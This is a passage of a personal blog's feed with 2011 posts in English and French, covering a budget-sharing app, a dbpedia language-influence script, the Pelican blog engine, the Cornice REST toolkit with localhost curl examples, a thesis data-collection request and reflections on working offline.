and a description, like you would have done when you're back from the
farmer's market on raw paper.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="no-categories"&gt;
&lt;h3&gt;No categories&lt;/h3&gt;
&lt;p&gt;Some people like to organise their stuff into different &amp;quot;categories&amp;quot;:
leisure, work, eating, etc. That's not something I want (at least to begin
with).&lt;/p&gt;
&lt;p&gt;I want things to be simple. Got that? Great. Just add your bills!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="balance"&gt;
&lt;h3&gt;Balance&lt;/h3&gt;
&lt;p&gt;One of the most useful thing is to know what's your &amp;quot;balance&amp;quot; compared to
others. In other words, if you're negative, you owe money, if you're positive,
you have to receive money. This allows you to dispatch who has to pay for the
next thing, in order to re-equilibrate the balance.&lt;/p&gt;
&lt;p&gt;Additionally, the system is able to compute for you who has to give how
much to who, in order to reduce the number of transactions needed to restore
the balance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="api"&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;p&gt;All of what's possible to do with the standard web interface is also available
through a REST API. I developed a simple REST toolkit for flask for this (and
I should release it!).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="interested"&gt;
&lt;h2&gt;Interested?&lt;/h2&gt;
&lt;p&gt;This project is open source. All of us like to share what we are doing and
would be happy to work with new people and implement new ideas. If you have
a nice idea about this, if you want to tweak it or to fill bugs. Don't hesitate
a second! The project lives at &lt;a class="reference external" href="http://github.com/spiral-project/ihatemoney/"&gt;http://github.com/spiral-project/ihatemoney/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="flask"></category><category term="budget-manager"></category></entry><entry><title>La simplicité volontaire contre le mythe de l'abondance</title><link href="https://blog.notmyidea.org/la-simplicite-volontaire-contre-le-mythe-de-labondance-fr.html" rel="alternate"></link><published>2011-10-14T00:00:00+02:00</published><updated>2011-10-14T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-10-14:/la-simplicite-volontaire-contre-le-mythe-de-labondance-fr.html</id><summary type="html">&lt;p&gt;Paul Ariès dans la préface de &amp;quot;&lt;a class="reference external" href="http://www.editionsladecouverte.fr/catalogue/index.php?ean13=9782707169747"&gt;La simplicité volontaire contre le mythe de
l'abondance&lt;/a&gt;&amp;quot;&lt;/p&gt;
&lt;blockquote&gt;
Je sais aussi qu'à force d'être seulement contre, nous finissons par être
&amp;quot;tout contre&amp;quot;, tout contre le système, ses débats pourris, ses pratiques
immondes, ses pervertions mentales. Cessons de porter notre adversaire sur
notre dos, car …&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;Paul Ariès dans la préface de &amp;quot;&lt;a class="reference external" href="http://www.editionsladecouverte.fr/catalogue/index.php?ean13=9782707169747"&gt;La simplicité volontaire contre le mythe de
l'abondance&lt;/a&gt;&amp;quot;&lt;/p&gt;
&lt;blockquote&gt;
Je sais aussi qu'à force d'être seulement contre, nous finissons par être
&amp;quot;tout contre&amp;quot;, tout contre le système, ses débats pourris, ses pratiques
immondes, ses pervertions mentales. Cessons de porter notre adversaire sur
notre dos, car il finira par nous poignarder, au moment ou nous pensions
justement pouvoir le vaincre… Entendons-nous bien, il ne s'agit pas
d'apprendre à &amp;quot;positiver&amp;quot; sous prétexte que l'on pourrait &amp;quot;moraliser&amp;quot; ou
repeindre en vert le capitalisme, il s'agit, bien au contraire, d'être aussi
intraitables lorsque nous créons cet autre monde, que lorsque nous étions
ces militants purs mais un peu durs à jouir, il s'agit d'être aussi
indomptables mais sans oublier que le capitalisme ne pourra être arrété que
par du non-capitaliste… c'est-à-dire en multipliant les expérimentations
sociales, en acceptant de faire au maximum sécession, en inventant
(réinventant?) une gauche buissonière et maquisarde, en faisant, au
quotidien, la part belle à la dérive, à des modes de comportement
expérimentaux. Nous ne devons plus accepter de faire de la politique aux
conditions de nos adversaires, car c'est la seule façon d'éviter le
pessimisme, le ressentiment, une désensibilisation croissante et… la mort
lente.&lt;/blockquote&gt;
</content></entry><entry><title>Using dbpedia to get languages influences</title><link href="https://blog.notmyidea.org/using-dbpedia-to-get-languages-influences.html" rel="alternate"></link><published>2011-08-16T00:00:00+02:00</published><updated>2011-08-16T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-08-16:/using-dbpedia-to-get-languages-influences.html</id><summary type="html">&lt;p&gt;While browsing the Python's wikipedia page, I found information about the languages
influenced by python, and the languages that influenced python itself.&lt;/p&gt;
&lt;p&gt;Well, that's kind of interesting to know which languages influenced others,
it could even be more interesting to have an overview of the connexion between
them, keeping python …&lt;/p&gt;</summary><content type="html">&lt;p&gt;While browsing the Python's wikipedia page, I found information about the languages
influenced by python, and the languages that influenced python itself.&lt;/p&gt;
&lt;p&gt;Well, that's kind of interesting to know which languages influenced others,
it could even be more interesting to have an overview of the connexion between
them, keeping python as the main focus.&lt;/p&gt;
&lt;p&gt;This information is available on the wikipedia page, but not in a really
exploitable format. Hopefully, this information is provided into the
information box present on the majority of wikipedia pages. And… guess what?
there is project with the goal to scrap and index all this information in
a more queriable way, using the semantic web technologies.&lt;/p&gt;
&lt;p&gt;Well, you may have guessed it, the project in question in dbpedia, and exposes
information in the form of RDF triples, which are way more easy to work with
than simple HTML.&lt;/p&gt;
&lt;p&gt;For instance, let's take the page about python:
&lt;a class="reference external" href="http://dbpedia.org/page/Python_%28programming_language%29"&gt;http://dbpedia.org/page/Python_%28programming_language%29&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The interesting properties here are &amp;quot;Influenced&amp;quot; and &amp;quot;InfluencedBy&amp;quot;, which
allows us to get a list of languages. Unfortunately, they are not really using
all the power of the Semantic Web here, and the list is actually a string with
coma separated values in it.&lt;/p&gt;
&lt;p&gt;Anyway, we can use a simple rule: All wikipedia pages of programming languages
are either named after the name of the language itself, or suffixed with &amp;quot;(
programming language)&amp;quot;, which is the case for python.&lt;/p&gt;
&lt;p&gt;So I've built &lt;a class="reference external" href="https://github.com/ametaireau/experiments/blob/master/influences/get_influences.py"&gt;a tiny script to extract the information from dbpedia&lt;/a&gt; and transform them into a shiny graph using graphviz.&lt;/p&gt;
&lt;p&gt;After a nice:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ python get_influences.py python dot | dot -Tpng &amp;gt; influences.png
&lt;/pre&gt;
&lt;p&gt;The result is the following graph (&lt;a class="reference external" href="http://files.lolnet.org/alexis/influences.png"&gt;see it directly here&lt;/a&gt;)&lt;/p&gt;
&lt;img alt="Graph des influances des langages les uns sur les autres." src="http://files.lolnet.org/alexis/influences.png" style="width: 800px;" /&gt;
&lt;p&gt;While reading this diagram, keep in mind that it is a) not listing all the
languages and b) keeping a python perspective.&lt;/p&gt;
&lt;p&gt;This means that you can trust the scheme by following the arrows from python to
something and from something to python, it is not trying to get the matching
between all the languages at the same time to keep stuff readable.&lt;/p&gt;
&lt;p&gt;It would certainly be possible to have all the connections between all
languages (and the resulting script would be easier) to do so, but the resulting
graph would probably be way less readable.&lt;/p&gt;
&lt;p&gt;You can find the script &lt;a class="reference external" href="https://github.com/ametaireau/experiments"&gt;on my github account&lt;/a&gt;. Feel free to adapt it for
whatever you want if you feel hackish.&lt;/p&gt;
</content><category term="dbpedia"></category><category term="sparql"></category><category term="python"></category></entry><entry><title>Pelican, 9 months later</title><link href="https://blog.notmyidea.org/pelican-9-months-later.html" rel="alternate"></link><published>2011-07-25T00:00:00+02:00</published><updated>2011-07-25T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-07-25:/pelican-9-months-later.html</id><summary type="html">&lt;p&gt;Back in October, I released &lt;a class="reference external" href="http://docs.notmyidea.org/alexis/pelican"&gt;pelican&lt;/a&gt;,
a little piece of code I wrote to power this weblog. I had simple needs: I wanted
to be able to use my text editor of choice (vim), a vcs (mercurial) and
restructured text. I started to write a really simple blog engine
in …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Back in October, I released &lt;a class="reference external" href="http://docs.notmyidea.org/alexis/pelican"&gt;pelican&lt;/a&gt;,
a little piece of code I wrote to power this weblog. I had simple needs: I wanted
to be able to use my text editor of choice (vim), a vcs (mercurial) and
restructured text. I started to write a really simple blog engine
in something like a hundred python lines and released it on github.&lt;/p&gt;
&lt;p&gt;And people started contributing. I wasn't at all expecting to see people
interested in such a little piece of code, but it turned out that they were.
I refactored the code to make it evolve a bit more by two times and eventually,
in 9 months, got 49 forks, 139 issues and 73 pull requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which is clearly awesome.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I pulled features such as translations, tag
clouds, integration with different services such as twitter or piwik, import
from dotclear and rss, fixed
a number of mistakes and improved a lot the codebase. This was a proof that
there is a bunch of people that are willing to make better softwares just for
the sake of fun.&lt;/p&gt;
&lt;p&gt;Thank you, guys, you're why I like open source so much.&lt;/p&gt;
</content><category term="pelican"></category><category term="python"></category><category term="open source"></category><category term="nice story"></category></entry><entry><title>Introducing Cornice</title><link href="https://blog.notmyidea.org/introducing-cornice.html" rel="alternate"></link><published>2011-07-12T00:00:00+02:00</published><updated>2011-07-12T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-07-12:/introducing-cornice.html</id><summary type="html">&lt;p&gt;Wow, already my third working day at Mozilla. Since Monday, I've been working with
&lt;a class="reference external" href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt;, on a pyramid REST-ish toolkit named &lt;a class="reference external" href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Its goal is to take care for you of what you're usually missing so you can
focus on what's important. Cornice provides you facilities
for validation of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Wow, already my third working day at Mozilla. Since Monday, I've been working with
&lt;a class="reference external" href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt;, on a pyramid REST-ish toolkit named &lt;a class="reference external" href="https://github.com/mozilla-services/cornice"&gt;Cornice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Its goal is to take care for you of what you're usually missing so you can
focus on what's important. Cornice provides you facilities
for validation of any kind.&lt;/p&gt;
&lt;p&gt;The goal is to simplify your work, but we don't want to reinvent the wheel, so
it is easily pluggable with validations frameworks, such as &lt;a class="reference external" href="http://docs.pylonsproject.org/projects/colander/en/latest/"&gt;Colander&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="handling-errors-and-validation"&gt;
&lt;h2&gt;Handling errors and validation&lt;/h2&gt;
&lt;p&gt;Here is how it works:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;the awesome parameter is required&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@service.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;yay!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All the errors collected during the validation process, or after, are collected
before returning the request. If any, a error 400 is fired up, with the list of
problems encountered returned as a nice json list response (we plan to support
multiple formats in the future)&lt;/p&gt;
&lt;p&gt;As you might have seen, &lt;cite&gt;request.errors.add&lt;/cite&gt; takes three parameters: &lt;strong&gt;location&lt;/strong&gt;,
&lt;strong&gt;name&lt;/strong&gt; and &lt;strong&gt;description&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;location&lt;/strong&gt; is where the error is located in the request. It can either be &amp;quot;body&amp;quot;,
&amp;quot;query&amp;quot;, &amp;quot;headers&amp;quot; or &amp;quot;path&amp;quot;. &lt;strong&gt;name&lt;/strong&gt; is the name of the variable causing
problem, if any, and &lt;strong&gt;description&lt;/strong&gt; contains a more detailed message.&lt;/p&gt;
&lt;p&gt;Let's run this simple service and send some queries to it:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl -v http://127.0.0.1:5000/service
&amp;gt; GET /service HTTP/1.1
&amp;gt; Host: 127.0.0.1:5000
&amp;gt; Accept: */*
&amp;gt;
* HTTP 1.0, assume close after body
&amp;lt; HTTP/1.0 400 Bad Request
&amp;lt; Content-Type: application/json; charset=UTF-8
[{&amp;quot;location&amp;quot;: &amp;quot;query&amp;quot;, &amp;quot;name&amp;quot;: &amp;quot;awesome&amp;quot;, &amp;quot;description&amp;quot;: &amp;quot;You lack awesomeness!&amp;quot;}
&lt;/pre&gt;
&lt;p&gt;I've removed the extra clutter from the curl's output, but you got the general idea.&lt;/p&gt;
&lt;p&gt;The content returned is in JSON, and I know exactly what I have to do: add an
&amp;quot;awesome&amp;quot; parameter in my query. Let's do it again:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl http://127.0.0.1:5000/service?awesome=yeah
{&amp;quot;test&amp;quot;: &amp;quot;yay!&amp;quot;}
&lt;/pre&gt;
&lt;p&gt;Validators can also convert parts of the request and store the converted value
in &lt;cite&gt;request.validated&lt;/cite&gt;. It is a standard dict automatically attached to the
requests.&lt;/p&gt;
&lt;p&gt;For instance, in our validator, we can chose to validate the parameter passed
and use it in the body of the webservice:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;the awesome parameter is required&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;awesome &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nd"&gt;@service.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;awesome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output would look like this:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
curl http://127.0.0.1:5000/service?awesome=yeah
{&amp;quot;test&amp;quot;: &amp;quot;awesome yeah&amp;quot;}
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="dealing-with-accept-headers"&gt;
&lt;h2&gt;Dealing with &amp;quot;Accept&amp;quot; headers&lt;/h2&gt;
&lt;p&gt;The HTTP spec defines a &lt;strong&gt;Accept&lt;/strong&gt; header the client can send so the response
is encoded the right way. A resource, available at an URL, can be available in
different formats. This is especially true for web services.&lt;/p&gt;
&lt;p&gt;Cornice can help you dealing with this. The services you define can tell which
&lt;cite&gt;Content-Type&lt;/cite&gt; values they can deal with and this will be checked against the
&lt;strong&gt;Accept&lt;/strong&gt; headers sent by the client.&lt;/p&gt;
&lt;p&gt;Let's refine a bit our previous example, by specifying which content-types are
supported, using the &lt;cite&gt;accept&lt;/cite&gt; parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@service.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_awesome&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;text/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;yay!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, if you specifically ask for XML, Cornice will throw a 406 with the list of
accepted &lt;cite&gt;Content-Type&lt;/cite&gt; values:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl -vH &amp;quot;Accept: application/xml&amp;quot; http://127.0.0.1:5000/service
&amp;gt; GET /service HTTP/1.1
&amp;gt; Host: 127.0.0.1:5000
&amp;gt; Accept: application/xml
&amp;gt;
&amp;lt; HTTP/1.0 406 Not Acceptable
&amp;lt; Content-Type: application/json; charset=UTF-8
&amp;lt; Content-Length: 33
&amp;lt;
[&amp;quot;application/json&amp;quot;, &amp;quot;text/json&amp;quot;]
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="building-your-documentation-automatically"&gt;
&lt;h2&gt;Building your documentation automatically&lt;/h2&gt;
&lt;p&gt;writing documentation for web services can be painful, especially when your
services evolve. Cornice provides a sphinx directive to automatically document
your API in your docs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt; &lt;span class="ow"&gt;services&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;
&lt;span class="nc"&gt;:package:&lt;/span&gt; &lt;span class="nf"&gt;coolapp&lt;/span&gt;
&lt;span class="nc"&gt;:service:&lt;/span&gt; &lt;span class="nf"&gt;quote&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here is an example of what a generated page looks like: &lt;a class="reference external" href="http://packages.python.org/cornice/exampledoc.html"&gt;http://packages.python.org/cornice/exampledoc.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="yay-how-can-i-get-it"&gt;
&lt;h2&gt;Yay! How can I get it?&lt;/h2&gt;
&lt;p&gt;We just cut a 0.4 release, so it's available at &lt;a class="reference external" href="http://pypi.python.org/pypi/cornice"&gt;http://pypi.python.org/pypi/cornice&lt;/a&gt;
You can install it easily using &lt;cite&gt;pip&lt;/cite&gt;, for instance:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ pip install cornice
&lt;/pre&gt;
&lt;p&gt;You can also have a look at the documentation at
&lt;a class="reference external" href="http://packages.python.org/cornice/"&gt;http://packages.python.org/cornice/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="what-s-next"&gt;
&lt;h2&gt;What's next?&lt;/h2&gt;
&lt;p&gt;We try to make our best to find how Cornice can help you build better
web services. Cool features we want for the future include the automatic
publication of a static definition of the services, so it can be used by clients
to discover services in a nice way.&lt;/p&gt;
&lt;p&gt;Of course, we are open to all your ideas and patches! If you feel haskish and
want to see the sources, &lt;a class="reference external" href="https://github.com/mozilla-services/cornice"&gt;go grab them on github&lt;/a&gt;
, commit and send us a pull request!&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Un coup de main pour mon mémoire!</title><link href="https://blog.notmyidea.org/un-coup-de-main-pour-mon-memoire-fr.html" rel="alternate"></link><published>2011-05-25T00:00:00+02:00</published><updated>2011-05-25T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-05-25:/un-coup-de-main-pour-mon-memoire-fr.html</id><summary type="html">&lt;p&gt;Ça y est, bientôt la fin. LA FIN. La fin des études, et le début du reste.
En attendant je bosse sur mon mémoire de fin d'études et j'aurais besoin d'un petit
coup de main.&lt;/p&gt;
&lt;p&gt;Mon mémoire porte sur les systèmes de recommandation. Pour ceux qui connaissent
last.fm, je …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ça y est, bientôt la fin. LA FIN. La fin des études, et le début du reste.
En attendant je bosse sur mon mémoire de fin d'études et j'aurais besoin d'un petit
coup de main.&lt;/p&gt;
&lt;p&gt;Mon mémoire porte sur les systèmes de recommandation. Pour ceux qui connaissent
last.fm, je fais quelque chose de similaire mais pour les sites internet: en me
basant sur ce que vous visitez quotidiennement et comment vous le visitez (quelles
horaires, quelle emplacement géographique, etc.) je souhaites proposer des liens
qui vous intéresseront potentiellement, en me basant sur l'avis des personnes qui
ont des profils similaires au votre.&lt;/p&gt;
&lt;p&gt;Le projet est loin d'être terminé, mais la première étape est de récupérer des
données de navigation, idéalement beaucoup de données de navigation. Donc si
vous pouvez me filer un coup de main je vous en serais éternellement
reconnaissant (pour ceux qui font semblant de pas comprendre, entendez &amp;quot;tournée
générale&amp;quot;).&lt;/p&gt;
&lt;p&gt;J'ai créé un petit site web (en anglais) qui résume un peu le concept, qui vous
propose de vous inscrire et de télécharger un plugin firefox qui m'enverra des
information sur les sites que vous visitez (si vous avez l'habitude d'utiliser
chrome vous pouvez considérer de switcher à firefox4 pour les deux prochains
mois pour me filer un coup de main). Il est possible de désactiver le plugin
d'un simple clic si vous souhaitez garder votre vie privée privée ;-)&lt;/p&gt;
&lt;p&gt;Le site est par là: &lt;a class="reference external" href="http://infuse.notmyidea.org"&gt;http://infuse.notmyidea.org&lt;/a&gt;. Une fois le plugin téléchargé
et le compte créé il faut renseigner vos identifiants dans le plugin en
question, et c'est tout!&lt;/p&gt;
&lt;p&gt;A votre bon cœur ! Je récupérerais probablement des données durant les 2
prochains mois pour ensuite les analyser correctement.&lt;/p&gt;
&lt;p&gt;Merci pour votre aide !&lt;/p&gt;
</content></entry><entry><title>Travailler moins pour mieux travailler ?</title><link href="https://blog.notmyidea.org/travailler-moins-pour-mieux-travailler-fr.html" rel="alternate"></link><published>2011-05-19T00:00:00+02:00</published><updated>2011-05-19T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-05-19:/travailler-moins-pour-mieux-travailler-fr.html</id><summary type="html">&lt;p&gt;Je viens de passer une semaine et demi quasiment hors-ligne et je dois dire que
je suis assez impressionné du résultat: je suis de retour chez mes parents pour
le &amp;quot;easter break&amp;quot; et j'en ai profité pour donner un coup aux travaux de la
maison (et pour me reposer un …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je viens de passer une semaine et demi quasiment hors-ligne et je dois dire que
je suis assez impressionné du résultat: je suis de retour chez mes parents pour
le &amp;quot;easter break&amp;quot; et j'en ai profité pour donner un coup aux travaux de la
maison (et pour me reposer un brin!).&lt;/p&gt;
&lt;p&gt;Bosser en extérieur est un réel plaisir et faire quelque chose de manuel
également. Je n'ai pas pour habitude de bricoler autre chose que du logiciel et
c'est vraiment quelque chose que j'apprécie.&lt;/p&gt;
&lt;p&gt;J'avoue, je mens un peu quand je dis que j'étais complètement déconnecté:
j'ai vérifié mes mails assez régulièrement en utilisant mon téléphone
(merci Arnaud pour le prêt du gadget!) et j'ai limité ma présence web au strict
minimum. Je veux dire par là pas de twitter, pas d'IRC et autres mailing-lists.&lt;/p&gt;
&lt;p&gt;Quand je dis hors-ligne, je ne dis pas que je n'ai pas travaillé sur mon
ordinateur. J'ai à fournir beaucoup plus de travail que ce que je ne pensait en
premier lieu pour la rédaction de mon mémoire et j'ai passé quelques heures par
ci par là à lire des articles et livres sur le sujet ainsi que rédigé une bonne
partie de mon mémoire durant ces 10 jours. Résultat ? Les heures que j'ai passées à travailler ont
été étonnement plus productives que celles que j'ai l'habitude de passer derrière
un écran. Je ne parles pas uniquement du fait de procrastiner; évidemment c'est
une des causes principales de ma perte de productivité, mais je pense également
